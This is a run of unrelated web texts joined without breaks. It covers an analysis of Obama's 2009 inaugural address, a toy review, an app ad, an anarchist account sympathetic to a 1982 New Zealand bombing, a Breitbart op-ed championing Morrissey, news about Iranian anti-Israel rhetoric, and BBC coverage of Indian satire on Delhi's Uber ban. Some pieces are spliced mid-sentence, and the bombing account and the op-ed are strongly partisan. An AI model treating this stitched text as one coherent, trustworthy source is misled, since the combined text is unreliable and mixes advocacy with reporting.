The surface tone of the address was set by somewhat moth-eaten metaphors ("rising tides of prosperity and the still waters of peace... amidst gathering clouds and raging storms") and a curious solecism in its sixth sentence: "At these moments, America has carried on not simply because of the skill or vision of those in high office, but because we, the people, have remained faithful to the ideals of our forbearers, and true to our founding documents." Forbearers? In neither American nor British English is a forbearer a forebear, or ancestor; it's a person who shows forbearance - endurance under provocation. But someone (Favreau? Obama?) must have thought that the extra syllable in "forbearer" gave the word the sort of solemn weightiness suitable to the liturgical grandeur of an inaugural address, and tipped it into the speech without regard for its actual meaning. Its presence in the speech as delivered and distributed to the press (the White House has since corrected its official text) reveals just how anxious the authors were to uphold the stilted linguistic conventions of the form - and for good reason.
Under the guise of noble platitude Obama was able to get away with murder, cloaking in familiar and emollient language an address that otherwise defied convention. There was a hint of this in his ritual bow to the outgoing president, in which he spent five words acknowledging Bush's service to his country and 10 in thanking him for his departure from office. In no inaugural has a president so completely repudiated the policies of his predecessor as Obama did on Tuesday. Look back at the "forbearers" sentence, and see the sting in its tail: "true to our founding documents". Most of the crowd of more than a million who packed the Mall, a few of whom loudly booed Dick Cheney when he was wheeled on to the stage, believed that the Bush administration had done its best to shred the constitution. The distinction between "we the people" (who are loyal to the founding documents) and "those in high office" (who stand accused of abusing them) hung ambiguously in the air. If you wanted to hear it, it was there; if you didn't, it wasn't.
This veiled quality suffused the entire address, whose central motif was stated early on: "The time has come to put away childish things... to reaffirm our enduring spirit; to choose our better history." The distinct echo of Lincoln's "the better angels of our nature" helped to soften the implication that the last eight years belong to our worse history, under a president famous for his childish pursuits (as one of Bush's own advisers once asked, "What kind of male obsesses over his bike-riding time, other than Lance Armstrong or a 12-year-old boy?").
Yet there was no triumphalism in this; there was, rather, a note of sombre regret. It was necessary for Obama to announce to both the United States and the rest of the world (and his inaugural was directed, unusually, at least as much to the foreign as to the domestic audience) that on Tuesday the Bush era had ended and that America, after a long, unhappy detour in the wilderness, was returning to its better history. Since inaugural addresses are by tradition high-toned, bipartisan affairs, this was an immensely difficult feat to bring off with grace. What needed to be said had to be phrased in language as well-worn and conventional as possible, to give the illusion of smooth continuity between Obama's speech and those of past presidents.
The driving theme of the address made its appearance at artfully calculated intervals, with Obama touching on it, departing from it, returning to it, burying it for a while and digging it up again in a way that made some critics call the speech diffuse. But it was not diffuse. It was quietly, courteously insistent on its purpose.
"On this day, we come to proclaim an end to... the worn-out dogmas that for far too long have strangled our politics": an end, then, to the liberal imperialism of the neoconservatives and the "Bush doctrine" of preemptive invasion. "Starting today, we must pick ourselves up, dust ourselves off and begin again the work of remaking America": so, under the 43rd president, we have been floored and supine. The most damning censure of the Bush administration arrived exactly midway through the speech, at the nine-and-a-half minute mark:
"As for our common defence, we reject as false the choice between our safety and our ideals. Our founding fathers, faced with perils that we can scarcely imagine, drafted a charter to assure the rule of law and the rights of man, a charter expanded by the blood of generations. Those ideals still light the world, and we will not give them up for expedience's sake. And so to all the other peoples and governments who are watching today, from the grandest capitals to the small village where my father was born: know that America is a friend of each nation and every man, woman and child who seeks a future of peace and dignity, and we are ready to lead once more."
That is as near as George W Bush has come to being impeached. It covers the legal black hole of Guantánamo Bay and its kangaroo courts, the overreaching powers of the Patriot Act, torture, warrantless wiretapping and all the other infractions of the civil liberties of Americans and foreigners alike that occurred under the outgoing administration. "We are ready to lead once more" is startlingly candid in its admission that, under Bush, the United States did not lead the world but attempted to bomb and bully it into submission.
The reference to "the rights of man" was salient. The title of Thomas Paine's giant pamphlet prepared the way for Paine's incognito appearance at the end of the speech, when Obama talked of Christmas night in 1776, when George Washington led his ragtag army across the ice-choked Delaware river to confront the British and Hessians who were encamped at Trenton, New Jersey. Obama spoke of "the timeless words" that "the father of our nation" ordered to be read to the American people: "Let it be told to the future world, that in the depth of winter, when nothing but hope and virtue could survive, that the city and the country, alarmed at one common danger, came forth to meet [it]." The oddly bracketed "it" replaced the original end of the sentence, which was "came forth to meet and to repulse it."
Every commentator I heard - including, surprisingly, the historian Doris Kearns Goodwin - assumed that the quotation came from Washington himself, but it is from Paine's The Crisis. "With hope and virtue, let us brave once more the icy currents," Obama said, and, again, the commentators assumed, mistakenly I think, that he was speaking only of the recession as it deepens, with increasing speed, into depression. But Paine's authorship of those words suggests otherwise. The "common danger", requiring "hope" and, more pointedly, "virtue" in order to "meet [and to repulse] it", is surely as much the spectre of a dictatorial administration, emboldened by Dick Cheney's theory of the "unitary executive", and its dangerous freedom to abuse the rights of man, as it is the present economic crisis. No wonder "and to repulse" was left out: Obama, a cautious politician and sensitive to the nuances of words, stopped short of calling the Bush administration repellent.
His image of leaving the blood-stained snow behind to cross the freezing river - famous from schoolroom reproductions of Emanuel Leutze's 1851 painting George Washington Crossing the Delaware - and his marriage of December 1776 to "this winter of our hardship" were his most daring attempts at inaugural loftiness. But there was more to them than a stirring call to arms to fight recession; he was placing between his incoming administration and that of the outgoing president a broad river packed with growling chunks of ice - a river just crossed, at great hazard to the survival of America's "founding documents".
I've read - or at least skimmed - every inaugural address since George Washington's, and none comes close to so categorically rejecting the political philosophy and legislative record of the previous occupant of the White House. Obama did it by stealth - so much stealth that most of the red meat of the speech has so far passed largely unnoticed. The most astonishing visual moment of the inauguration came after the speech, and Elizabeth Alexander's dud poem ("On the brink, on the brim, on the cusp...", mistaking her thesaurus for her muse), and the Rev Joseph Lowery's magnificent, scene-stealing benediction, when Obama and his wife Michelle walked George W and Laura Bush to the US Marine helicopter parked beside the Capitol's west portico. The two couples joked, then hugged, before the Bushes climbed aboard, on their way to Midland, Texas. It was like seeing Mark Antony and Brutus locked in a warm embrace after "Friends, Romans, countrymen..."
No one will say of Obama's inaugural, as the Atlanta Constitution said the next day of Roosevelt's 1933 speech, "The address takes its place among the greatest of historic state papers of the nation, ranking with Lincoln's address at Gettysburg". Even on Inauguration Day itself, when the press usually takes a rosy view of whatever is said by the new president, journalists grumbled that Obama's oration, though predictably well delivered, was short of specifics, fire and memorability. They searched the text for phrases to stand beside "the only thing we have to fear..." or "Ask not what your country...", and came away empty-handed. Conservative journalists noted that Obama had taken some "digs" at Bush, but failed to read the truly damaging subtext.
Among the first-response reviews, the Dow Jones index appeared to pan the speech with its steady decline through trading hours, losing 332 points on the day, with a dip, not a blip, in the minutes immediately following the address. Certainly Obama failed to inject the nation with a shot of instant, FDR-style consumer confidence. "The state of our economy calls for action, bold and swift," he said, but already his stimulus package is under attack from Keynesians for being far too little and from fiscal conservatives for being far too much. His appeals for a renewed spirit of community and mutual responsibility, though phrased more vividly than Clinton's in 1997 ("It is the firefighter's courage to storm a stairway full of smoke, but also a parent's willingness to nurture a child, that finally decides our fate"), were cast in the same communitarian mould as Clinton's, and had the unfortunate effect of reminding me, at any rate, of the dullest inaugural in living memory. It was this aspect of Obama's address that his aides hawked around the TV networks as its dominant theme: he would, they said, use the address to herald "a new era of responsibility". But that was a blind: Obama's real preoccupations lay elsewhere.
Next week, the speech will be pretty much forgotten, and people will scratch their heads to remember a single quote from it. Yet if (and it's a huge if) 2009 should eventually turn out to have been the date when the United States renounced the accumulated policies of the Bush years, regained an honourable place in the wider world and returned to the course of its "better history", then we'll reread Obama's inaugural and discover how subtly audacious he was being. It's already original - and not so much in spite of, but because of, its unoriginal language. It might, just conceivably, be seen as revolutionary.While it was by no means the largest pterosaur, Pteranodon, with its distinctive blade-shaped crest, remains the most recognizable. It was heavily featured in Jurassic Park 3 and also made a dramatic (and more accurate) cameo at the end of The Lost World: Jurassic Park.
The LW Pteranodon has the exact same body and limbs of the JP Series 2 Quetzalcoatlus, but a completely different head and neck. The large size of the crest indicates that this individual is a male. Main colours are metallic blue and flat beige with a pale underbelly, sandy yellow bill and crest, orange eyes, and a long magenta tongue. The black JP and Site B logos are on the left thigh along with the number 22.
This is one of the largest pterosaur toys. With its legs extended, it measures 28 cm long and has a very impressive wingspan of 48 cm. Its body is mostly smooth with bulging veins here and there and soft ridges to indicate ribs and vertebrae. The head is also smooth for the most part, but there are some oddly-shaped bumps on the sides of its bill. The hands have the right number of fingers, but the feet have only three oversized toes each. Moreover, the toes are in a configuration similar to those of an eagle’s. And finally, the fabric wings really aren’t wide enough for this mighty titan to attain flight. That’s right, this Pteranodon‘s wing membranes are made of fabric with thin strips of plastic for stability. These unfortunately give the wings a bat-like appearance.
But where this toy fails in accuracy, it succeeds with flying colours in fun. The jaws are spring-loaded, allowing it to chomp down on plastic prey. The neck rotates at the base and the articulated legs and toes mean you can have the Pteranodon seize other toys in its claws and carry them off to their doom (which we all know would be impossible in reality!). Pushing the large button on the back causes the wings to flap. And finally, the wings can be folded up and snapped into slots near the hips for a “roosting” appearance. Also makes it safer for storage. To unfold the wings, you simply need to push down on the button again. For many years, I had this guy displayed hanging down from the overhead lampshade in my old bedroom. He never fell off, not once.
The Lost World Pteranodon certainly won’t win any paleontology prizes, but its great size and multiple play features make it one of the most fun JP toys. I much prefer it over any of the JP3 versions.
Sometimes available from Ebay.com here.Create amazing paintings from photos with psykopaint
Did you ever wanted to be a great artist? But unfortunately you are really bad at it? Well that's ok because now with Psykopaint you can be a great artist with no skills. But how does it work? Open a photo you like and paint it using a variety of tools like brush, spraycan, ribbon, knife, Psykopaint will choose the colors automatically for you So you don't need to worry about it and focus on a style you like. Impressionist, cubist, abtract or classic, or something totally unique. Once you are happy with your painting you can order a print on a canvas or send a postcard to your friends. It might be a great gift for christmas or valentine day. So get started now, become a great artist and make your photos looks like awesome paintings you made yourself! It is real fun, easy and free!A short account of a little known political death in New Zealand. In 1982, an anarchist punk rocker attempted to blow up the Wanganui police computer. He blew himself up in the process.
the death of neil roberts
and the bombing of the wanganui police computer
A GELLY PARTY AT WANGANUI
By Class War Aoteroa
On November 18, 1982 at 12.35 a.m., Neil Roberts, a 22 year old punk anarchist, walked up to the entrance of the building which housed the Wanganui police computer. Two security guards in the building saw Neil approach with a carrybag on his shoulder. As the guard reached to activate a remote speaker in the foyer and ask him what he wanted, Neil bent over and there was a flash and a huge explosion. The blast could be felt for miles, and buildings were rocked up to 400 metres away.
Neil was killed instantly when the gelignite bomb he was carrying exploded. Pieces of his body were found up to 65 metres away. Nobody else was hurt, and damage was described as "confined to mangling the armoured glass main doors and the foyer of the building." But if Neil had in fact shut down the whole computer, we would of course expect to hear a similar story: "no damage, just ruined the front door", as they would be reluctant to let us know that it was so easy to take the computer out. The building was "designed to survive such a blast", and (according to the regime - and we know how accurate they are!), survive it did.
Before he died, Neil spraypainted a slogan on a public toilet block near the computer building: "WE HAVE MAINTAINED A SILENCE CLOSELY RESEMBLING STUPIDITY" followed by the anarchy is order sign (A circled by an O) and the words "anarchy - peace thinking".
SHOCK! HORROR! ANARCHY!
There was an atmosphere of complete shock throughout Aotearoa after Neil's death. This type of thing occurred overseas, not here in little old conservative NZ. Newspapers could not understand why Neil had managed to blow himself to pieces. They called it a "bizarre act of self-destruction." There was a fear that there was an "anarchist conspiracy" to blow up government buildings throughout NZ. In fact, this is what the Prime Minister, Muldoon, suggested on TV. Security was stepped up outside key government buildings. But it was soon realised that no such "conspiracy" existed, as Neil had acted alone.
Letters flowed in to the press. To some, it confirmed the stereotype that anarchism means bombs and pure negativity and destruction. The Christchurch Press claimed that Neil was "the misfit son of a rich Auckland family" and that anarchism was a "sad, flippant kind of nihilism." Many letters defended Neil and anarchism. One writer stated: "Anarchism is... based on the belief that humans can live with one another without coercion... The young man was sad and undoubtedly despairing, but hardly flippant. Surely we should consider why he and so many other young people are in such angry despair, rather than trivialise and discount his action as that of a'misfit'. When we see the number of people on the dole, the preparations for nuclear war, and other evidence of our rulers' crazy incompetence and our own apathy, is it really so hard to understand why young people shout in our faces, 'We have maintained a silence closely resembling stupidity.'?"
THE ACCIDENTAL DEATH OF AN ANARCHIST
There is some debate as to whether Neil attempted to kill himself or accidently blew himself up. It is certain that he planned the bombing well in advance. Neil had visited Wanganui two weeks before the bombing with a friend, and were noticed by many locals because they were wearing safety pins and razors in their ears. The day he left for Wanganui, he told friends, "I am going to Wanganui to do something frightful. If I should blow up the Wanganui computer, the cops will be around."
The government in an inquest came to the conclusion that Neil was a suicide bomber. It suited them to trivialise the incident, to make Neil seem like a sorry misfit rather than consider why he actually targetted the police computer. It seems the main evidence for this was a tattoo on Neil's chest: "This punk won't see 23. No future." The inquest was conducted without any evidence from fellow anarchist punks. One Aucklander who knew Neil claimed he wanted to die for his anarchist beliefs, and talked of suicide, and either taking the computer centre or Beehive with him. Another friend claimed that Neil had "talked of suicide for three years and he had every intention of doing it [a suicide bombing]. It was not an act of cowardice... it was making a statement with his life." The amount of gelignite Neil had was many, many times over the amount needed to blow himseolf up. It is possible that Neil intended to blow up the Wanganui police computer, and by mistake, through inexperience with explosives, could have set the bomb off accidently. Whether it was a suicide or accident, it will never be known for sure.
CREEPING FASCISM: MULDOON AND HIS POLICE STATE
It is important to put Neil's act in context. By 1982, there was a real climate of fear of a police state in NZ developing under PM Robert "Piggy" Muldoon. Muldoon was a complete authoritarian, a proto-fascist, a more rabid version of the ultra-conservative post-war generation that ruled NZ politics in the 1960s. Muldoon was the kiwi equivalent of Nixon in the U$A. What was scary is that he was popular with a large chunk of the population. Many people seemed to lap up his left-bashing, union-bashing, sexist, racist, law-and-order policies. Muldoon did things like dawn raids on Pacific Islanders (the accusation: "Over-staying"), and allowed the 1981 Springbok Tour by the apartheid South African rugby team to go ahead. The Tour (as it was known) was very brutal. Tens of thousands of kiwis got out on the streets and tried to stop the thugby games from going ahead, and the police beat many up in a massive operation. Many suffered severe injuries, including one actor, playing a clown in an effort to defuse tension between the sides, but who was severely wounded by police baton attacks.
In 1982, a year after the Springbok Tour and the climate of fear and polarisation that the tour had created, Neil targetted the police central computer at Wanganui because it held all the national police records: it was a symbol of the creeping fascism of Muldoon and sections of the ruling class at the time. In 1978, there had been massive protests against an attempt by Muldoon to increase the power of the secret police, the SIS. The computer had become a symbol of Muldoonist authoritarianism since it was first installed in the mid 1970s (when several protest groups including the PYM organised campaigns against it.)
Neil was part of the anarchist punk rock scene at the time, which was then in its infancy. A very loose community of anarchist punks throughout Aotearoa was being formed by the early 1980s, which was to flourish by the mid to late 1980s. Punk is often dismissed as negative and nihilistic, but in the early 80s it was a child of its time: not only a protest against the stifling and boring cultural conformity in Aotearoa, but also an understandably pessimistic reaction to the state of the kiwi society at the time. The recession in the economy from the 1970s created a new political mood that things in godzone were getting worse and worse. New Zealand slipped from being one of the richest countries in the world in the 1960s to one with unemployment and a recession and a severe authoritarian law 'n order government under Muldoon to boot. So Neil's reaction is more understandable in this context.Morrissey: The Prime Minister Britain Actually Needs
Guest Post By Breitbart’s Charlie Nash
The British General Election is on Thursday, and the people are faced with a disappointing range of candidates. With the success of Brexit and Nigel Farage’s departure, UKIP are as good as dead, and Tim Farron’s Liberal Democrats have marketed themselves as a more anti-Brexit clone of the Labour party, leaving us with two main party candidates to choose from:
The Conservative Party’s Theresa May, an unelected Prime Minister who publicly wants to bring about government control over the internet, and who pretends to be for Brexit, despite having treated the general populace like children during her campaign against it.
And:
The Labour Party’s Jeremy Corbyn, a man who wants to outlaw internships, nationalize everything, and could probably be likened to a more communist version of Bernie Sanders were this not an insult to Sanders’ name.
But what if there were an appealing third party candidate? Someone who would address Islam, ensure that Britain gets the best Brexit deal possible, and effectively become the United Kingdom’s answer to Donald Trump?
What if Steven Patrick Morrisey, the former frontman for The Smiths, decided to run for Prime Minister?
Islam
“For what reason will this ever stop?” asked Morrissey following the terrorist attack in Manchester, before criticizing Britain’s politicians for failing to address the issue.
“Theresa May says such attacks ‘will not break us’, but her own life is lived in a bullet-proof bubble, and she evidently does not need to identify any young people today in Manchester morgues,” he declared in retaliation to the Prime Minister’s refusal to point a finger at Islam. “Also, ‘will not break us’ means that the tragedy will not break her, or her policies on immigration.”
“The young people of Manchester are already broken – thanks all the same, Theresa,” he continued, before focusing his attack on London’s Muslim mayor, Sadiq Khan.
“Sadiq Khan says ‘London is united with Manchester’, but he does not condemn Islamic State – who have claimed responsibility for the bomb,” Morrissey proclaimed, as he moved on to the repeatedly used label of “extremist,” which he explained means nothing when used on its own.
“Manchester mayor Andy Burnham says the attack is the work of an ‘extremist’. An extreme what? An extreme rabbit?” he asked. “In modern Britain everyone seems petrified to officially say what we all say in private. Politicians tell us they are unafraid, but they are never the victims. How easy to be unafraid when one is protected from the line of fire. The people have no such protections.”
Despite coming as a shock to some, the statement on the attack was not out of the ordinary for fans of the singer.
Nor was it the first time he’s criticized Islam, having attacked Sadiq Khan previously in 2016 for eating “halal-butchered beings,” a comment which apparently made Morrissey racist, according to The Guardian.
Political Correctness
A natural dissident, Morrissey has never hesitated to speak his mind, and he frequently gets in trouble for it.
The vocal monarchical abolitionist has referred to the British Royal Family as “benefit scroungers,” and “dictators,” and he’s often been criticized for “racism,” despite the lack of evidence to back up such claims. (Sound familiar?)
Accusations of racism were first thrown at Morrissey when he jokingly claimed that “reggae is vile” and that the genre was the “total glorification of black supremacy” during an interview in 1985.
He took heat again in 2010 after he called Chinese people a “sub-species,” citing their record on animal cruelty—an issue close to the musician’s art.
But despite the negative attention that he can sometimes receive, Morrissey says what Morrissey thinks—the complete opposite of career politicians like Hillary Clinton, who previously claimed that she had both “private” and “public” political stances.
Working-Class Icon
As a man of the people, Morrissey has never been a fan of neocons and neoliberals, sometimes attacking politicians such as former Prime Minister David Cameron and President George W. Bush.
In 2010 he “forbade” David Cameron from liking The Smiths, while in 2004 following the death of Ronald Reagan, he announced on-stage that he’d have preferred it if George W. Bush died instead.
In the 80’s, Morrissey also weighed in on liberal elitist Bob Geldof (who was famously engaged in the Battle of the Thames against Farage), calling him “a nauseating character.”
“Band Aid was the most self-righteous platform ever in the history of popular music,” he declared, attacking the concept of virtue signalling which is all too common in modern politics.
During the 2016 U.S. Presidential Election, Morrissey attacked both Hillary Clinton and Donald Trump, opting to support Bernie Sanders up until his defeat instead.
“Hillary Clinton is the face and voice of pooled money,” he declared, adding that “She will therefore repay the established elite with whatever they want if she is elected.”
“Donald Thump is George Wallace,” he continued. “Hating just about anyone who doesn’t happen to be Donald Thump. Surely this is not 2016 America?” (Not everyone’s perfect, even Morrissey)
Despite his disdain for Donald Trump, he expressed support for Nigel Farage and the UK Independence Party (UKIP) in 2013, claiming that he “nearly voted” for the party during the election.
“I nearly voted for Ukip. I like Nigel Farage a great deal,” the musician admitted. “His views are quite logical – especially where Europe is concerned, although it was plain daft of him to applaud the lavish expense of the royal wedding at a time when working-class England were told to cut-back, shut-up and get stuffed.”
Revealing his Eurosceptic political position, Morrissey continued to praise the outcome of Brexit, which was largely a success due to major support from the working class, and called the movement “magnificent.” At the same time, Morrissey also attacked the BBC, claiming that they “persistently denigrated” supporters of the “Leave” movement, who rallied against the left-wing, upper-class London elitists of the “Remain” side.
“Liberal educators such as George Galloway and Nigel Farage… they are loathed by the BBC because both men respect equal freedom for all people,” declared Morrissey in a 2013 interview. “And they are not remotely intimidated by the BBC.”
His affection for populism again made headlines in May after he claimed Front National leader Marine Le Pen “easily won” the French presidential debates.
It didn’t make him popular, particularly among his predominantly left-wing audience, but he said it nonetheless.
Because Morrissey says as Morrissey thinks.
War Against Fake News
This is one of the reasons why the mainstream media hates Morrissey with a passion, and the feeling is mutual.
News outlets such as the BBC, The Guardian, and The Independent often try to smear his name, and assassinate his character with popular social justice buzzwords.
The Guardian called him an “embarrassment,” racist, and a “fallen idol.”
The Independent called him “problematic.”
Fact Magazine called him a “fucking idiot.”
Morrissey, on the other hand, regularly comments on the lack of truth coming from the mainstream media.
“Last night Marine Le Pen easily won the French Election debate. Today both the BBC and CNN say Macron won the debate. This is precisely the reason why mainstream news media outlets cannot be trusted to tell the truth,” declared Morrissey last month, before claiming that “Their private agendas are more important than facts, reality, or their duty to the people.”
“As for Brexit, the result was magnificent, but it is not accepted by the BBC or Sky News because they object to a public that cannot be hypnotised by BBC or Sky nonsense,” he added last year. “These news teams are exactly the same as Fox and CNN in that they all depend on public stupidity in order to create their own myth of reality. Watch them at your peril!”
During an article about Morrissey’s social “worst hits,” The Independent even attacked the “English Blood Irish Heart” singer for previously wrapping himself in the Union Jack flag on stage, attempting to link this act of patriotism to racism.
Celebrity Outsider
Morrissey is an outsider in more ways than one. His refusal to conform with the status quo alienates him from a lot of other celebrities, and his “meat is murder” form of vegan activism is often mocked by the general public.
This is similarly mirrored in President Donald Trump, a man who is also mocked for a variety of things, including his own quirks, but yet managed to elevate himself to the office of President of the United States, purely out of a feeling of need to repair his increasingly damaged country.
Though Morrissey has repeatedly insulted President Trump, there are too many similarities between the two to dismiss an uncanny parallelism, despite the fact that they probably have just as many differences as similarities.
Still, with Farage out of the picture, and a current selection of bitter and unappealing anti-Brexit candidates for Prime Minister, in an alternative timeline, Morrissey could be the populist that Britain needs. At least hypothetically speaking…
There’s a chance he could end up imposing a ban on meat consumption, or implement an array of other personally-selected policies based on his erratic, dissident, odd, and sensitive personality, but there’s also a lot of potential.
In 2016, “London Loves Business” claimed Morrissey “would be the worst London mayor ever.”
I disagree, and I think he’d be an even better Prime Minister.
A working-class populist who says what he thinks, addresses the Islamic threat head on, and applies himself to a variety of other pressing issues that mainstream political candidates refuse to even acknowledge.
Wouldn’t that be appealing?
Guest Post By Breitbart UK’s Charlie Nash – Twitter @MrNashingtonEven with the race’s late turmoil, Trump still faces long odds against overcoming Clinton’s lead in enough states to win. But Democrats can’t be entirely certain that Trump’s visceral connection with blue-collar, older, and non-urban whites won’t allow him to squeeze out a narrow victory.
The problem for Republicans is that even if Trump succeeds in the near-term, his insular appeal to his preponderantly white coalition has exposed the party to a clear long-term risk. Win or lose, all evidence suggests Trump is further alienating a Millennial generation that is already cool to the GOP—and is poised to become the electorate’s largest cohort in 2020. “It’s not like they came into 2016 with a great brand, and with Trump it |
as a second-tier priority,” said King, who charmingly signs every note "Hugs, Seth King."
The notes — which are for Isabella, 15; Carson, 13; Sophia, 10; Nolan, 6; and Liam, 3 — run the gamut of entertaining, fabricated, lateness excuses. For example, Carson must be excused for getting tied up at his early morning boy band rehearsal. Isabella is late because she was staging a sit-in with her vegan friends at the grocery store to save frozen turkeys.
King says the notes have taught his kids a few things about real-life consequences.
The King family, left to right: Angela, Carson, Nolan, Isabella, Sophia, Liam and Seth. Seth King
“I love my kids dearly, but I understand also that the world is sometimes a harsh place once you get out of that cocoon of adolescence,” King told TODAY Parents. “I think preparing them for a life of public shaming and consequences early on is probably a good thing. At the same time, I let them know that they’re loved, they’re cared for, and I’ve got their back.”
Humor is the parenting tactic King calls “the only arrow that we have in our quiver as parents.” The father-of-five, who is vice president of event planning for an outdoor gear company, says that in addition to note writing, he’s also been known to do other things to embarrass and humor his kids.
“My kids are very hot and cold with it, too,” he said. “Some days they think it’s really funny when dad dresses up like a leprechaun on St. Patrick’s Day and picks them up early from school for their orthodontist appointment, taking to everyone in an Irish accent. Then, when I enter a parents-only dance competition dressed as a llama, it’s not as funny.”
Regardless of his kids’ reaction to his antics, King says he and his wife, Angela, share a comedic relationship that helps them cope with the daily stresses of parenting.
Angela has even stepped up to write their kids’ excuse notes in her husband’s absence, when he’s had to travel for work.
“She’s even funnier than I am,” said King. “I probably should outsource my notes more to her. I think I will.”A senior military aide to Iranian Supreme Leader Ali Khamenei predicted that the United States would “disintegrate” within the next quarter-century.
“The US has reached a point today that it will witness fragmentation and disintegration 25 years later,” General Nasser Arasteh was quoted as saying Friday night by the semi-official Fars news agency.
The remark recalled comments by Khamenei himself, who predicted last year that Israel would not survive the next 25 years.
Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up
“You will not see next 25 years,” a tweet by Khamenei’s official Twitter account said in September, adding that the Jewish state would be hounded until it was destroyed.
On Friday, a resolution issued in Iran to mark the anti-Israel al-Quds Day openly called for the elimination of “the cancerous tumor of Israel,” and declared that “noble cause” as the top priority for the Muslim world.
The text of the resolution was published by Fars, which said it was adopted by the vast numbers of Iranians who took to the streets across the country to demonstrate against Israel and its allies, including the United States.
“We Iranians as a united and integrated nation see liberation of the Holy Quds (Jerusalem), rescuing the oppressed and defenseless Palestinian nation from the dominance of the fake Zionist regime, and efforts aimed at eliminating the cancerous tumor of Israel as the noble cause of the Islamic Revolution,” Fars quoted the resolution as saying. This goal is the “first priority of the Muslim World and the only way to confront the illegitimate and criminal Zionist regime,” the text continued.
The resolution also urged Muslims worldwide not to allow “the enemies of Islam” to distract their attention from the issue of the Holy Quds and Palestine, Fars said.
The text was published as Iranians staged anti-Israel rallies across the country for the annual al-Quds Day events, a tradition established by the late ayatollah Ruhollah Khomeini on the last Friday of Ramadan. Some protesters trampled the Israeli flag, and also chanted “down with the USA.”
President Hassan Rouhani, attending the Tehran rally, said regional conflicts were making it increasingly difficult to address the Palestinian issue. “Today, due to the divisions in the Islamic world, the presence of takfiris (Sunni extremists) and terrorists in the region… we are far away from the ideal of liberating Palestine,” he told state TV, calling for greater unity between Muslims.
“The Zionist regime (Israel) is a regional base for America and the global arrogance (the US and its allies),” he added. “Disunity and discord among Muslim and terrorist groups in the region … have diverted us from the important issue of Palestine,” Rouhani said. “Unity is the only way to restore stability in the region,” Rouhani further said. “We stand with the dispossessed Palestinian nation.”
Iran, which does not recognize Israel and calls for its destruction, has marked al-Quds Day since the start of its 1979 Islamic revolution. Al-Quds is the historic Arabic name for Jerusalem, and Iran says the day is an occasion to express support for the Palestinians and emphasize the importance of Jerusalem for Muslims.
Agencies contributed to this report.If the NFL seasons started today, the Arizona Cardinals would be trotting out Rashard Mendenhall at starting runningback. Mendenhall is still a young back. He was slowed by a knee injury with the Pittsburgh Steelers, but he still should have some good years left in those legs.
From Cardinals head coach Bruce Arians, via NFL.com
“Rashard is just 25 years old (he turns 26 on Wednesday),” Arians said. “He took me personally to a Super Bowl, and I know what he can bring to the table as a runner and a pass protector and also a receiver. He’s an every-down player. And I think he’s looking forward to having an outstanding season.”
Arians believes in Mendy. Last season he only played in 6 games and racked up 182 yards on the ground and no touchdowns. He was suspended by the Pittsburgh Steelers because he refused to show up to the game after he was listed on the inactive roster.
Mendenhall used to be a productive back. He should be fully healed from his injury now and could make a nice impact for the Cardinals offense.
RB Ryan Williams was selected by the Cardinals in the 2nd round of the 2011 draft and will likely take the change of pace role.Keeping with our fire department theme that I started with last week’s post, here is a photo of Westville’s John B. Capewell in a firefighter’s uniform.
I can’t detect the string that Capewell cleverly used to release the shutter in some of his self portraits so somebody else must have been behind the lens to snap this picture of John in his fire brigade finery.
Along with this photograph of Fireman Capewell, I’ve decided to throw in this shot of some fire fighting apparatus.
My guess is that this was the Independent Fire Department’s latest acquisition and they were mighty proud and excited about it. The piece was probably set up in Capewell’s yard for the picture.
Below is the entire glass negative of the apparatus. This will be of interest to our viewers from Westville not so much for the fire fighting equipment but for the houses that used to line Broadway a the time. Some of the architectural details like the gingerbread are fantastic! They don’t build them like that any more!
Above is a blow-up of the girl next door who was patient enough to remain still resulting in a fairly decent exposure. Capewell used an emulsion and iris setting that usually resulted in blurred or ghost images unless the subject remained perfectly still.
As with all of the photographs in the Capewell Collection Glass Negative Collection, I placed these 5″ x 7″ glass negatives on a lightbox and shot them with a digital camera locked down on a tripod. The “processing” was done digitally on a Mac using Adobe Photoshop.
Last: Independent Fire Company No. 2 | Next:Westville’s Independent Fire Company No. 2 Gets Mechanized
Share this: Email
Facebook
Telegram
Skype
Pinterest
Tumblr
Pocket
Twitter
More
Print
LinkedIn
Reddit
WhatsAppAs soon as Delhi banned Uber and then other web-based taxi firms after a woman was raped, Indians flexed their satirical muscles on social media and compiled lists of other things that should be banned in order to put an end to rape once and for all.
BBC Hindi's Parul Agrawal looks at how Indians veered from mockery to despair.
1. Ban neighbours, husbands and boyfriends
"The Delhi government should ban relationships between adult men and adult women. Boyfriends should be banned. Husbands should be banned too to ensure the problem of marital rape is solved," blogs Nitin Pai of The Acorn blog.
Many were keen to make the point that rape might in fact not be a direct consequence of web-based taxi apps but may indeed have broader and more disturbing social and psychological causes.
Image copyright INDRANIL MUKHERJEE
@SethShruti tweeted: I like how the entire blame is being put on @Uber Because Indian rapists never committed rape before being given a car? #missingthepoint
2. Why stop at Uber? Ban all transport
"Bus, metro and train drivers should be caged into their driving compartments every morning and released only when their shifts are completed," Nitin Pai continues in his satirical vein. By this logic, many argue, the government should have banned buses in the wake of the Delhi bus gang rape in 2012.
Media playback is unsupported on your device Media caption BBC Trending looked at women only carriage controversies earlier this year
But there is a serious point too. A working woman in Delhi - and this is something I know from personal experience - is constantly weighing up affordability and safety. Some professional women rely on these cheaper web-based taxi services to get to work and when going out at night a woman feels more at liberty to wear a skirt when she is not on public transport.
Aseem Rastogi tweets in this vein: "So the plan is to ban all web based cab services after the #Uber incident.. WOW.. Now all women will feel so much safer, isn't it? "
3. Uber's not the problem. It's women. Let's ban women
Of course there is a long list of reasons spouted by various figures as to why rape is a problem: from the clothes women wear to what star sign you are.
@gauravkapur tweeted: "Great move to ban Uber. Must also ban offices, colleges, restaurants, cinemas & anywhere else women go. Just ban women leaving the house."
Image copyright Tweet
4. Ban that mobile phone and electricity too
There seemed to be almost no end to the possibilities as Indians waxed lyrical on the possibility of living in a darkened room, with no electricity, no modes of transport and no human contact.
Image copyright Tweet
5. Ban clothes, pubs, life, but let criminals roam free
Image copyright Tweet
It all reminded me of one incident when a group of my friends was advising a visitor to the city how to get around. Each of us gave different pieces of advice: do not take a cab; only travel in the women's metro compartment; do not take a bus. Eventually it dawned on us that the only option we were giving her was to sit in her hotel room.
6. If someone stabs you, stick a plaster on it
Image copyright Tweet
Most women online have said the government is missing the point. Rather than making systematic change, the authorities opted for what people see as a knee-jerk reaction and cosmetic change. This is the first time Indians have reacted in such a satirical manner to the announcement. After several big rape cases, people are getting weary of what they see as small moves but no real change on the ground.
7. What Indians do best... ban ban ban
